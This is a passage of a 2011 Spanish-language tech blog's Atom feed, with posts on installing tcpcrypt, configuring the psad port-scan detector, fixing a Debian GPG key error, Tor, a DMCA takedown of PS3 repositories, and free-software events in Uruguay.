src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2633507996451745475</id><published>2011-04-21T12:19:00.000-07:00</published><updated>2011-04-21T12:48:33.858-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='criptografia'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='tcpcrypt'/><title type='text'>tcpcrypt</title><content type='html'>Leyendo sobre &lt;a href="http://en.wikipedia.org/wiki/Transport_Layer_Security"&gt;TLS&lt;/a&gt; en la wikipedia, me encuentro con el apartado "See Also" y ahí me llama el interés una palabrita &lt;a href="http://tcpcrypt.org/"&gt;tcpcrypt&lt;/a&gt; así que me puse a leerlo y me resulto interesante lo que hace.&lt;br /&gt;Es una extensión del ya existente protocolo TCP que permite cirfrar on-the-fly cualquier trafico TCP donde del otro lado este disponible también esta extensión del protocolo, si este no esta disponible automáticamente se hace un fallback a tcp, por eso los creadores le llaman "cifrado oportunista".&lt;br /&gt;Lo interesante es que no impide el uso de SSL ni siquiera impide que se use SSL por ensima de tcpcrypt, es NAT friendly y no necesita una configuración como la que necesita por ejemplo una VPN para ponerla en marcha, incluso no necesita que los programas que se utilicen como clientes del protocolo TCP sean modificados.&lt;br /&gt;&lt;br /&gt;Para probarlo clonamos el repositorio git:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git clone git://github.com/sorbo/tcpcrypt.git&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego lo compilamos&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$cd tcpcrypt/user&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$make&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo para ejecutarlo (como root):&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#./launch_tcpcryptd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Tcpcrypting port 80 and local traffic on port 7777...&lt;br /&gt;iptables -I INPUT -p tcp --sport 443 -j NFQUEUE --queue-num 666&lt;br /&gt;iptables -I INPUT -p tcp --dport 443 -j NFQUEUE --queue-num 666&lt;br /&gt;iptables -I INPUT -p tcp --sport 80 -j NFQUEUE --queue-num 666&lt;br /&gt;iptables -I OUTPUT -p tcp --dport 80 -j NFQUEUE --queue-num 666&lt;br /&gt;iptables -I INPUT -p tcp --dport 7777 -j NFQUEUE --queue-num 666&lt;br /&gt;iptables -I INPUT -p tcp --sport 7777 -j NFQUEUE --queue-num 666&lt;br /&gt;iptables -I OUTPUT -p tcp --dport 7777 -j NFQUEUE --queue-num 666&lt;br /&gt;iptables -I OUTPUT -p tcp --sport 7777 -j NFQUEUE --queue-num 666&lt;br /&gt;Initializing...&lt;br /&gt;Running&lt;br /&gt;No timestamp provided in packet - expect low performance due to calls to gettimeofday&lt;/div&gt;&lt;br /&gt;Voila, ya lo tenemos corriendo incluso podemos ir a &lt;a href="http://tcpcrypt.org/fame.php"&gt;esta&lt;/a&gt; pagina y anotarnos en el hall of fame la cual solo nos dejara hacerlo si estamos corriendo el tcpcryptd.&lt;br /&gt;&lt;br /&gt;Opcionalmente podemos instalarlo con&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#make install&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Interesante no?&lt;br /&gt;Si bien puede que no sea necesariamente mas seguro que SSL, esto significa otra piedra en el zapato para el atacante que nos quiera hacer un man-in-the-middle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2633507996451745475?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2633507996451745475/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/04/tcpcrypt.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2633507996451745475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2633507996451745475'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/04/tcpcrypt.html' title='tcpcrypt'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8046864512276099626</id><published>2011-04-19T15:49:00.000-07:00</published><updated>2011-04-19T15:49:23.595-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='emulacion'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='pdp11'/><title type='text'>Emulador Javascript de PDP11</title><content type='html'>Anteriormente ya&amp;nbsp;había&amp;nbsp;comentado acerca de un emulador MIPS codificado en java que se llama &lt;a href="http://dclavijo.blogspot.com/2009/03/jsmips.html"&gt;JSMIPS&lt;/a&gt;, ahora les traigo un emulador de las&lt;a href="http://en.wikipedia.org/wiki/PDP-11"&gt; DEC PDP11&lt;/a&gt; de 16 bits&amp;nbsp;también&amp;nbsp;codificado en java que puede emular un viejo UNIX v6.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-sCtpCF-yOXI/Ta4RM0hz9mI/AAAAAAAAAVQ/OvOklaM_B-U/s1600/PDP11.PNG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="205" src="http://1.bp.blogspot.com/-sCtpCF-yOXI/Ta4RM0hz9mI/AAAAAAAAAVQ/OvOklaM_B-U/s400/PDP11.PNG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para probarlo hagan click &lt;a href="http://pdp11.aiju.de/"&gt;aquí&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8046864512276099626?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8046864512276099626/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/04/emulador-javascript-de-pdp11.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8046864512276099626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8046864512276099626'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/04/emulador-javascript-de-pdp11.html' title='Emulador Javascript de PDP11'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-sCtpCF-yOXI/Ta4RM0hz9mI/AAAAAAAAAVQ/OvOklaM_B-U/s72-c/PDP11.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7442573807636375374</id><published>2011-04-13T19:25:00.000-07:00</published><updated>2011-04-13T19:41:24.245-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='psad'/><title type='text'>PSAD: Antiportscan!</title><content type='html'>El psad es un antiportscan muy facil de configurar, que nos permite detectar ver y reportar quien nos esta tratando de hacer un portscanning, la aplicacion lo que hace es leer los logs del iptables parsearlos y enviar una alerta a un mail predeterminado y a &lt;a href="http://dshield.org/"&gt;dshield.org&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Para ponerlo en funcionamiento lo primero que debemos hacer es instalarlo y arrancarlo.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install psad&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego agregar al iptables dos reglas para loguear todo lo que entre y salga.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#iptables -A INPUT -j LOG&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#iptables -A FORWARD -j LOG&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego restarteamos&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/etc/init.d/psad restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En este momento los mails nos estan llegando a la casilla de root.&lt;br /&gt;&lt;br /&gt;Podemos configurar un par de opciones opcionales:&lt;br /&gt;&lt;br /&gt;Cambiamos en &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/psad/psad.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Nos aseguramos de cambiar los siguientes valores y que queden algo asi:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;EMAIL_ADDRESSES un_mail@en_un_servidor_cualquiera.com&lt;br /&gt;MIN_DANGER_LEVEL            1;&lt;br /&gt;ENABLE_DSHIELD_ALERTS       Y;&lt;br /&gt;DSHIELD_ALERT_EMAIL         reports@dshield.org;&lt;br /&gt;DSHIELD_ALERT_INTERVAL      1;  ### hours&lt;br /&gt;DSHIELD_USER_ID             un_numerito_que_te_dan_en_la_pagina_dshield;&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#/etc/init.d/psad restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Restarteamos de nuevo y tenemos el psad configurado, andando y reportando cualquier portscan que se nos haga.&lt;br /&gt;&lt;br /&gt;Un ejemplito:&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-vG4AikVgGI8/TaZeXknXijI/AAAAAAAAAVM/M-0IoEKqZ6g/s1600/psad.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="128" src="http://4.bp.blogspot.com/-vG4AikVgGI8/TaZeXknXijI/AAAAAAAAAVM/M-0IoEKqZ6g/s320/psad.png" style="cursor: move;" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;:D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7442573807636375374?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7442573807636375374/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/04/psad-antiportscan.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7442573807636375374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7442573807636375374'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/04/psad-antiportscan.html' title='PSAD: Antiportscan!'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-vG4AikVgGI8/TaZeXknXijI/AAAAAAAAAVM/M-0IoEKqZ6g/s72-c/psad.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1481032054045810677</id><published>2011-04-01T20:54:00.000-07:00</published><updated>2011-04-01T21:15:42.483-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tor'/><title type='text'>Algo acerca de tor</title><content type='html'>Creo que el&amp;nbsp;anonimato&amp;nbsp;en internet es un derecho basico y que el proyecto Tor es una herramienta formidable para alcanzar ese derecho pero...&lt;br /&gt;&lt;br /&gt;El siguiente texto fue citado de&amp;nbsp;&lt;a href="https://www.torproject.org/about/torusers.html.en"&gt;https://www.torproject.org/about/torusers.html.en&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"Inception&lt;br /&gt;&lt;b&gt;Tor was originally designed, implemented, and deployed as a third-generation onion routing project of the Naval Research Laboratory. It was originally developed with the U.S. Navy in mind, for the primary purpose of protecting government communications.&lt;/b&gt; Today, it is used every day for a wide variety of purposes by the military, journalists, law enforcement officers, activists, and many others. Here are some of the specific uses we've seen or recommend.&lt;br /&gt;&lt;br /&gt;Militaries use Tor&lt;br /&gt;Field agents: It is not difficult for insurgents to monitor Internet traffic and discover all the hotels and other locations from which people are connecting to known military servers. Military field agents deployed away from home use Tor to mask the sites they are visiting, protecting military interests and operations, as well as protecting themselves from physical harm.&lt;br /&gt;Hidden services: When the Internet was designed by DARPA, its primary purpose was to be able to facilitate distributed, robust communications in case of local strikes. However, some functions must be centralized, such as command and control sites. It's the nature of the Internet protocols to reveal the geographic location of any server that is reachable online. Tor's hidden services capacity allows military command and control to be physically secure from discovery and takedown.&lt;br /&gt;&lt;b&gt;Intelligence gathering: Military personnel need to use electronic resources run and monitored by insurgents. They do not want the webserver logs on an insurgent website to record a military address, thereby revealing the surveillance."&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Con lo expuesto quiero manifestar mi&amp;nbsp;preocupación&amp;nbsp;no sobre la herramienta sino en la mano que la emplea. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1481032054045810677?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1481032054045810677/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/04/algo-acerca-de-tor.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1481032054045810677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1481032054045810677'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/04/algo-acerca-de-tor.html' title='Algo acerca de tor'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8389675817886328195</id><published>2011-04-01T18:50:00.000-07:00</published><updated>2011-04-01T18:50:03.982-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='flisol'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'></title><content type='html'>&lt;img height="200" src="http://www.flisoluruguay.info/_media/head.png" width="400" /&gt;&lt;br /&gt;&lt;br /&gt;Como todos los años desde el 2005 se viene realizando sin falta el festival de&amp;nbsp;instalación&amp;nbsp;de software libre en&amp;nbsp;Uruguay, en esta oportunidad la convocatoria sera en Montevideo sera en la EUCD Escuela universitaria Centro de Diseño que queda en miguelete 1825 esquina Arenal Grande el dia 9 de abril.&lt;br /&gt;El evento esta pensado para todos los principiantes que se quieren animar a pasarse al software libre pero necesitan ese empujoncito por lo que la actividad principal sera la&amp;nbsp;instalación&amp;nbsp;de software libre como sistemas operativos GNU/Linux en los pc que se traigan al evento.&lt;br /&gt;&lt;br /&gt;Mas info &lt;a href="http://www.flisoluruguay.info/"&gt;aquí&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8389675817886328195?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8389675817886328195/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/04/como-todos-los-anos-desde-el-2005-se.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8389675817886328195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8389675817886328195'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/04/como-todos-los-anos-desde-el-2005-se.html' title=''/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3199617286054313456</id><published>2011-03-01T18:26:00.000-08:00</published><updated>2011-03-01T18:26:06.803-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gpg'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><title type='text'>Error del apt-get update</title><content type='html'>A quien no le paso esto con el apt-get update?&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;W: A error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: http://ftp.us.debian.org sid Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY AED4B06F473041FA&lt;br /&gt;&lt;br /&gt;W: A error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: http://ftp.us.debian.org experimental Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible: NO_PUBKEY AED4B06F473041FA&lt;br /&gt;&lt;br /&gt;W: Imposible obtener http://ftp.us.debian.org/debian/dists/sid/Release &lt;br /&gt;&lt;br /&gt;W: Imposible obtener http://ftp.us.debian.org/debian/dists/experimental/Release &lt;br /&gt;&lt;br /&gt;W: Algunos archivos de índice no se han podido descargar, se han ignorado,&lt;/div&gt;&lt;br /&gt;A mi ya me tenia podrido asi que investigue como solucionarlo y encontre este par de comnados que me solucionaron el problema&lt;br /&gt;&lt;br /&gt;Primero importamos la clave publica en nuestro anillo.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# gpg --recv-key AED4B06F473041FA&lt;br /&gt;gpg: solicitando clave 473041FA de hkp servidor keys.gnupg.net&lt;br /&gt;gpg: /root/.gnupg/trustdb.gpg: se ha creado base de datos de confianza&lt;br /&gt;gpg: clave 473041FA: clave pública "Debian Archive Automatic Signing Key (6.0/squeeze) &lt;ftpmaster@debian.org&gt;" importada&lt;/ftpmaster@debian.org&gt;&lt;br /&gt;gpg: no se encuentran claves absolutamente fiables&lt;br /&gt;gpg: Cantidad total procesada: 1&lt;br /&gt;gpg: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; importadas: 1 &amp;nbsp;(RSA: 1)&lt;/div&gt;&lt;br /&gt;Luego la exportamos y mediante un pipe la importamos en apt-key.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;neuromancer:/home/daedalus# gpg --export --armor AED4B06F473041FA | sudo apt-key add -&lt;br /&gt;OK&lt;/div&gt;&lt;br /&gt;Y nuevamente podemos hacer &lt;span class="Apple-style-span" style="color: lime;"&gt;# apt-get update&lt;/span&gt; sin temor a que falle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3199617286054313456?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3199617286054313456/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/03/error-del-apt-get-update.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3199617286054313456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3199617286054313456'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/03/error-del-apt-get-update.html' title='Error del apt-get update'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7368720246146957567</id><published>2011-02-24T18:01:00.000-08:00</published><updated>2011-02-24T20:34:40.358-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DRM'/><category scheme='http://www.blogger.com/atom/ns#' term='ps3'/><category scheme='http://www.blogger.com/atom/ns#' term='sony'/><category scheme='http://www.blogger.com/atom/ns#' term='dcma'/><title type='text'>I was another victim of the hammer fall.</title><content type='html'>Today I had received a notification via mail from gitorious about one of my repositories ps3hvmemchardev, which appears on a list of repositories that would violate the terms of the DMCA and therefore was disabled.&lt;br /&gt;&lt;br /&gt;I can assure you that my code does not contain any part of Sony's copyrighted code, does not allow direct copying of copyrighted software, so it does not allow piracy.&lt;br /&gt;&lt;br /&gt;I understand that by buying the hardware (referring to my playstation3) am the owner of this and not the cooporation that sold it to me. I also understand that the methods applied here are excessive DRM witch leads me to a state that i can not exercise my basic right as a consummer and owner.&lt;br /&gt;&lt;br /&gt;Here's an example: how many bought a Sony Vaio and they can install the operating system they want. I'm a pirate for wanting to install the operating system I want in my playstation3?&lt;br /&gt;&lt;br /&gt;I agree that sony protect their intelecual property is their right but I do not agree with the above mentioned and therefore they can create a witch hunt and persecute all the valuable developers criminalizing them under the label of pirates. It is not a fair play or even a smart play.&lt;br /&gt;&lt;br /&gt;Only I have to say I'm not a pirate and my code was not intended to piracy, but as a contribution of free software for research and learning.&lt;br /&gt;&lt;br /&gt;Sony lost another customer with this measure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next the notification:&lt;br /&gt;From: Gitorious Support&lt;br /&gt;Date: 2011/2/24&lt;br /&gt;Subject: Takedown of repositories on gitorious.org&lt;br /&gt;To: Gitorious Support&lt;br /&gt;&lt;br /&gt;Dear Gitorious user,&lt;br /&gt;We have received a letter from a US law firm representing Sony&lt;br /&gt;Computer Entertainment America (SCEA) which claims that a repository&lt;br /&gt;you have on gitorious.org is in violation of Norwegian law.&lt;br /&gt;In accordance with our Infringement Notice Policy&lt;br /&gt;(http://en.gitorious.org/infringement_policy/) we have responded to&lt;br /&gt;this letter by disabling access to the projects in question. The&lt;br /&gt;projects we have disabled access to are:&lt;br /&gt;- ps3-sfo-editor&lt;br /&gt;- ps3-star&lt;br /&gt;- ps3-tools&lt;br /&gt;- ps3free&lt;br /&gt;- ps3hvmemchardev&lt;br /&gt;- ps3mfw&lt;br /&gt;- ps3mirror1&lt;br /&gt;- ps3tools&lt;br /&gt;- psfreedom&lt;br /&gt;- qute-ps3-proxy&lt;br /&gt;Sony's letter is available at our DMCA repository, located at&lt;br /&gt;http://gitorious.org/gitorious/dmca, and we will be publishing our&lt;br /&gt;reply to SCEA on our blog at http://blog.gitorious.org/ later today.&lt;br /&gt;As SCEA's letter states, Gitorious would be subject to direct&lt;br /&gt;liability under Norwegian Copyright law by hosting source code that is&lt;br /&gt;illegal. This is not a risk we are in a position to take, which is why&lt;br /&gt;we have taken down the content.&lt;br /&gt;Best regards, Marius Mathiesen, &lt;br /&gt;Gitorious AS&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7368720246146957567?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7368720246146957567/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/02/i-was-another-vitcim-of-hammer-fall.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7368720246146957567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7368720246146957567'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/02/i-was-another-vitcim-of-hammer-fall.html' title='I was another victim of the hammer fall.'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8394524455476680703</id><published>2011-02-24T16:55:00.000-08:00</published><updated>2011-02-24T17:01:03.980-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='montevideolibre'/><category scheme='http://www.blogger.com/atom/ns#' term='jrrl'/><category scheme='http://www.blogger.com/atom/ns#' term='eventos'/><title type='text'>Segundas Jornadas Regionales de Redes Libres</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://u6187.direct.atpic.com/32191/0/2091071/0.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="50" src="http://u6187.direct.atpic.com/32191/0/2091071/0.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Invitación&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Las Jornadas Regionales de Redes Libres se plantean cómo una oportunidad en que proyectos de redes libres de la región se encuentran para compartir sus experiencias al público, aprender del camino recorrido y planificar estrategias conjuntas a futuro. Las Primeras Jornadas Regionales de Redes Libres se realizaron en Buenos Aires, y contaron con la participación de Ramón Roca, de &lt;a href="http://guifi.net/"&gt;guifi.net&lt;/a&gt; (Cataluña, España), junto con representantes de redes libres de la región cómo &lt;a href="http://casareslibre.org/"&gt;CasaresLibre&lt;/a&gt; de Carlos Casares, &lt;a href="http://www.lugro-mesh.org.ar/en/"&gt;LUGRo­Mesh&lt;/a&gt; de Rosario, &lt;a href="http://bogota-mesh.org/"&gt;Bogotá Mesh&lt;/a&gt; de Colombia, Rede­mesh de Brasil, y &lt;a href="http://montevideolibre.org/"&gt;MontevideoLibre&lt;/a&gt; de Uruguay.&lt;br /&gt;En este segundo encuentro, en Uruguay, además de continuar con la promoción de los beneficios de una red libre, el planteo es llegar a un acuerdo común entre los distintos proyectos de la región, en la elaboración de una licencia compatible entre las distintas redes libres, que permita definir y proteger legalmente, las redes libres cómo tales. Así cómo fomentar un proyecto de desarrollo en común, en cuánto al software que se utiliza para las redes. Esperamos que este año también puedan concurrir representantes de las redes de distintos países de la región.&lt;br /&gt;Este se realizará los días Sábado 19 y Domingo 20 de marzo de 2011. Tendrá lugar en el parador del balneario Iporá, Tacuarembó. Dirección Av. Héctor Gutiérrez Ruiz s/n, a 7Km de la ciudad de Tacuarembó. La asistencia al evento es libre y gratuita.&lt;br /&gt;Cabe destacar que en paralelo se llevarán a cabo en 